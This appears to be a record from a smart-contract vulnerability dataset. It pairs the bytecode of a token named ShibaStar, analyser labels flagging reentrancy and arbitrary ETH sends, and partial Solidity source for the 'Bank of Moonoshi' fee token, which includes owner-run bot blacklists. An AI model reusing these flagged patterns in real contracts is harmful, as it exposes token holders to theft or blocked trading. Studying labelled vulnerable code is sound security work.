0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612ddd565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612923565b61045e565b6040516101789190612dc2565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190612f5f565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906128d4565b610490565b6040516101e09190612dc2565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612846565b610569565b005b34801561021e57600080fd5b50610227610659565b6040516102349190612fd4565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f91906129a0565b610662565b005b34801561027257600080fd5b5061027b610714565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612846565b610786565b6040516102b19190612f5f565b60405180910390f35b3480156102c657600080fd5b506102cf6107d7565b005b3480156102dd57600080fd5b506102e661092a565b6040516102f39190612cf4565b60405180910390f35b34801561030857600080fd5b50610311610953565b60405161031e9190612ddd565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612923565b610990565b60405161035b9190612dc2565b60405180910390f35b34801561037057600080fd5b5061038b6004803603810190610386919061295f565b6109ae565b005b34801561039957600080fd5b506103a2610afe565b005b3480156103b057600080fd5b506103b9610b78565b005b3480156103c757600080fd5b506103e260048036038101906103dd91906129f2565b6110da565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612898565b611226565b6040516104189190612f5f565b60405180910390f35b60606040518060400160405280601181526020017f7777772e7368696261737461722e78797a000000000000000000000000000000815250905090565b600061047261046b6112ad565b84846112b5565b6001905092915050565b60006b033b2e3c9fd0803ce8000000905090565b600061049d848484611480565b61055e846104a96112ad565b6105598560405180606001604052806028815260200161366f60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050f6112ad565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b389092919063ffffffff16565b6112b5565b600190509392505050565b6105716112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f590612ebf565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006012905090565b61066a6112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ee90612ebf565b60405180910390fd5b80601160176101000a81548160ff02191690831515021790555050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107556112ad565b73ffffffffffffffffffffffffffffffffffffffff161461077557600080fd5b600047905061078381611b9c565b50565b60006107d0600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c97565b9050919050565b6107df6112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461086c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086390612ebf565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600981526020017f5368696261537461720000000000000000000000000000000000000000000000815250905090565b60006109a461099d6112ad565b8484611480565b6001905092915050565b6109b66112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a43576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3a90612ebf565b60405180910390fd5b60005b8151811015610afa57600160066000848481518110610a8e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610af290613275565b915050610a46565b5050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3f6112ad565b73ffffffffffffffffffffffffffffffffffffffff1614610b5f57600080fd5b6000610b6a30610786565b9050610b7581611d05565b50565b610b806112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0490612ebf565b60405180910390fd5b601160149054906101000a900460ff1615610c5d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5490612f3f565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cf030601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166b033b2e3c9fd0803ce80000006112b5565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3657600080fd5b505afa158015610d4a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d6e919061286f565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dd057600080fd5b505afa158015610de4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e08919061286f565b6040518363ffffffff1660e01b8152600401610e25929190612d0f565b602060405180830381600087803b158015610e3f57600080fd5b505af1158015610e53573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e77919061286f565b601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610f0030610786565b600080610f0b61092a565b426040518863ffffffff1660e01b8152600401610f2d96959493929190612d61565b6060604051808303818588803b158015610f4657600080fd5b505af1158015610f5a573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f7f9190612a1b565b5050506001601160166101000a81548160ff0219169083151502179055506001601160176101000a81548160ff0219169083151502179055506a52b7d2dcc80cd2e40000006012819055506001601160146101000a81548160ff021916908315150217905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611084929190612d38565b602060405180830381600087803b15801561109e57600080fd5b505af11580156110b2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110d691906129c9565b5050565b6110e26112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461116f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116690612ebf565b60405180910390fd5b600081116111b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a990612e7f565b60405180910390fd5b6111e460646111d6836b033b2e3c9fd0803ce8000000611fff90919063ffffffff16565b61207a90919063ffffffff16565b6012819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60125460405161121b9190612f5f565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611325576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131c90612f1f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611395576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138c90612e3f565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114739190612f5f565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114e790612eff565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611560576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155790612dff565b60405180910390fd5b600081116115a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159a90612edf565b60405180910390fd5b6005600a81905550600a600b819055506115bb61092a565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561162957506115f961092a565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611a7557600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116d25750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6116db57600080fd5b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156117865750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117dc5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156117f45750601160179054906101000a900460ff165b156118a45760125481111561180857600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061185357600080fd5b601e426118609190613095565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614801561194f5750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156119a55750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156119bb576005600a819055506014600b819055505b60006119c630610786565b9050601160159054906101000a900460ff16158015611a335750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611a4b5750601160169054906101000a900460ff165b15611a7357611a5981611d05565b60004790506000811115611a7157611a7047611b9c565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611b1c5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611b2657600090505b611b32848484846120c4565b50505050565b6000838311158290611b80576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b779190612ddd565b60405180910390fd5b5060008385611b8f9190613176565b9050809150509392505050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611bec60028461207a90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611c17573d6000803e3d6000fd5b50600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611c6860028461207a90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611c93573d6000803e3d6000fd5b5050565b6000600854821115611cde576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cd590612e1f565b60405180910390fd5b6000611ce86120f1565b9050611cfd818461207a90919063ffffffff16565b915050919050565b6001601160156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611d63577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611d915781602001602082028036833780820191505090505b5090503081600081518110611dcf577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611e7157600080fd5b505afa158015611e85573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ea9919061286f565b81600181518110611ee3577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611f4a30601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112b5565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611fae959493929190612f7a565b600060405180830381600087803b158015611fc857600080fd5b505af1158015611fdc573d6000803e3d6000fd5b50505050506000601160156101000a81548160ff02191690831515021790555050565b6000808314156120125760009050612074565b60008284612020919061311c565b905082848261202f91906130eb565b1461206f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161206690612e9f565b60405180910390fd5b809150505b92915050565b60006120bc83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061211c565b905092915050565b806120d2576120d161217f565b5b6120dd8484846121c2565b806120eb576120ea61238d565b5b50505050565b60008060006120fe6123a1565b91509150612115818361207a90919063ffffffff16565b9250505090565b60008083118290612163576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161215a9190612ddd565b60405180910390fd5b506000838561217291906130eb565b9050809150509392505050565b6000600a5414801561219357506000600b54145b1561219d576121c0565b600a54600c81905550600b54600d819055506000600a819055506000600b819055505b565b6000806000806000806121d48761240c565b95509550955095509550955061223286600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461247490919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122c785600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124be90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123138161251c565b61231d84836125d9565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161237a9190612f5f565b60405180910390a3505050505050505050565b600c54600a81905550600d54600b81905550565b6000806000600854905060006b033b2e3c9fd0803ce800000090506123dd6b033b2e3c9fd0803ce800000060085461207a90919063ffffffff16565b8210156123ff576008546b033b2e3c9fd0803ce8000000935093505050612408565b81819350935050505b9091565b60008060008060008060008060006124298a600a54600b54612613565b92509250925060006124396120f1565b9050600080600061244c8e8787876126a9565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006124b683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611b38565b905092915050565b60008082846124cd9190613095565b905083811015612512576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161250990612e5f565b60405180910390fd5b8091505092915050565b60006125266120f1565b9050600061253d8284611fff90919063ffffffff16565b905061259181600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124be90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6125ee8260085461247490919063ffffffff16565b600881905550612609816009546124be90919063ffffffff16565b6009819055505050565b60008060008061263f6064612631888a611fff90919063ffffffff16565b61207a90919063ffffffff16565b90506000612669606461265b888b611fff90919063ffffffff16565b61207a90919063ffffffff16565b9050600061269282612684858c61247490919063ffffffff16565b61247490919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806126c28589611fff90919063ffffffff16565b905060006126d98689611fff90919063ffffffff16565b905060006126f08789611fff90919063ffffffff16565b905060006127198261270b858761247490919063ffffffff16565b61247490919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061274561274084613014565b612fef565b9050808382526020820190508285602086028201111561276457600080fd5b60005b85811015612794578161277a888261279e565b845260208401935060208301925050600181019050612767565b5050509392505050565b6000813590506127ad81613629565b92915050565b6000815190506127c281613629565b92915050565b600082601f8301126127d957600080fd5b81356127e9848260208601612732565b91505092915050565b60008135905061280181613640565b92915050565b60008151905061281681613640565b92915050565b60008135905061282b81613657565b92915050565b60008151905061284081613657565b92915050565b60006020828403121561285857600080fd5b60006128668482850161279e565b91505092915050565b60006020828403121561288157600080fd5b600061288f848285016127b3565b91505092915050565b600080604083850312156128ab57600080fd5b60006128b98582860161279e565b92505060206128ca8582860161279e565b9150509250929050565b6000806000606084860312156128e957600080fd5b60006128f78682870161279e565b93505060206129088682870161279e565b92505060406129198682870161281c565b9150509250925092565b6000806040838503121561293657600080fd5b60006129448582860161279e565b92505060206129558582860161281c565b9150509250929050565b60006020828403121561297157600080fd5b600082013567ffffffffffffffff81111561298b57600080fd5b612997848285016127c8565b91505092915050565b6000602082840312156129b257600080fd5b60006129c0848285016127f2565b91505092915050565b6000602082840312156129db57600080fd5b60006129e984828501612807565b91505092915050565b600060208284031215612a0457600080fd5b6000612a128482850161281c565b91505092915050565b600080600060608486031215612a3057600080fd5b6000612a3e86828701612831565b9350506020612a4f86828701612831565b9250506040612a6086828701612831565b9150509250925092565b6000612a768383612a82565b60208301905092915050565b612a8b816131aa565b82525050565b612a9a816131aa565b82525050565b6000612aab82613050565b612ab58185613073565b9350612ac083613040565b8060005b83811015612af1578151612ad88882612a6a565b9750612ae383613066565b925050600181019050612ac4565b5085935050505092915050565b612b07816131bc565b82525050565b612b16816131ff565b82525050565b6000612b278261305b565b612b318185613084565b9350612b41818560208601613211565b612b4a8161334b565b840191505092915050565b6000612b62602383613084565b9150612b6d8261335c565b604082019050919050565b6000612b85602a83613084565b9150612b90826133ab565b604082019050919050565b6000612ba8602283613084565b9150612bb3826133fa565b604082019050919050565b6000612bcb601b83613084565b9150612bd682613449565b602082019050919050565b6000612bee601d83613084565b9150612bf982613472565b602082019050919050565b6000612c11602183613084565b9150612c1c8261349b565b604082019050919050565b6000612c34602083613084565b9150612c3f826134ea565b602082019050919050565b6000612c57602983613084565b9150612c6282613513565b604082019050919050565b6000612c7a602583613084565b9150612c8582613562565b604082019050919050565b6000612c9d602483613084565b9150612ca8826135b1565b604082019050919050565b6000612cc0601783613084565b9150612ccb82613600565b602082019050919050565b612cdf816131e8565b82525050565b612cee816131f2565b82525050565b6000602082019050612d096000830184612a91565b92915050565b6000604082019050612d246000830185612a91565b612d316020830184612a91565b9392505050565b6000604082019050612d4d6000830185612a91565b612d5a6020830184612cd6565b9392505050565b600060c082019050612d766000830189612a91565b612d836020830188612cd6565b612d906040830187612b0d565b612d9d6060830186612b0d565b612daa6080830185612a91565b612db760a0830184612cd6565b979650505050505050565b6000602082019050612dd76000830184612afe565b92915050565b60006020820190508181036000830152612df78184612b1c565b905092915050565b60006020820190508181036000830152612e1881612b55565b9050919050565b60006020820190508181036000830152612e3881612b78565b9050919050565b60006020820190508181036000830152612e5881612b9b565b9050919050565b60006020820190508181036000830152612e7881612bbe565b9050919050565b60006020820190508181036000830152612e9881612be1565b9050919050565b60006020820190508181036000830152612eb881612c04565b9050919050565b60006020820190508181036000830152612ed881612c27565b9050919050565b60006020820190508181036000830152612ef881612c4a565b9050919050565b60006020820190508181036000830152612f1881612c6d565b9050919050565b60006020820190508181036000830152612f3881612c90565b9050919050565b60006020820190508181036000830152612f5881612cb3565b9050919050565b6000602082019050612f746000830184612cd6565b92915050565b600060a082019050612f8f6000830188612cd6565b612f9c6020830187612b0d565b8181036040830152612fae8186612aa0565b9050612fbd6060830185612a91565b612fca6080830184612cd6565b9695505050505050565b6000602082019050612fe96000830184612ce5565b92915050565b6000612ff961300a565b90506130058282613244565b919050565b6000604051905090565b600067ffffffffffffffff82111561302f5761302e61331c565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006130a0826131e8565b91506130ab836131e8565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156130e0576130df6132be565b5b828201905092915050565b60006130f6826131e8565b9150613101836131e8565b925082613111576131106132ed565b5b828204905092915050565b6000613127826131e8565b9150613132836131e8565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561316b5761316a6132be565b5b828202905092915050565b6000613181826131e8565b915061318c836131e8565b92508282101561319f5761319e6132be565b5b828203905092915050565b60006131b5826131c8565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061320a826131e8565b9050919050565b60005b8381101561322f578082015181840152602081019050613214565b8381111561323e576000848401525b50505050565b61324d8261334b565b810181811067ffffffffffffffff8211171561326c5761326b61331c565b5b80604052505050565b6000613280826131e8565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156132b3576132b26132be565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b613632816131aa565b811461363d57600080fd5b50565b613649816131bc565b811461365457600080fd5b50565b613660816131e8565b811461366b57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220a53c60404e15a533f58d4993ce1c5455fe72d119064c9d92edb0b04b27af5c7f64736f6c63430008030033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 3,778 |
0x5b1c58aa5fa7678aa4c04c4c8b17f93def6328ce
|
/**
*Submitted for verification at Etherscan.io on 2022-04-13
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract BankofMoonoshi is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Bank of Moonoshi";
string private constant _symbol = "SANI BANK";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 2; // 2% Redistribution
uint256 private _teamFee = 10; // 6% Marketing and 4% Buyback Fee
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
uint256 private _numOfTokensToExchangeForTeam = 500000 * 10**9;
uint256 private _routermax = 5000000000 * 10**9;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _Marketingfund;
address payable private _Deployer;
address payable private _Buyback;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
uint256 public launchBlock;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable marketfund, address payable developer, address payable buyback) {
_Marketingfund = marketfund;
_Deployer = developer;
_Buyback = buyback;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_Marketingfund] = true;
_isExcludedFromFee[_Buyback] = true;
_isExcludedFromFee[_Deployer] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
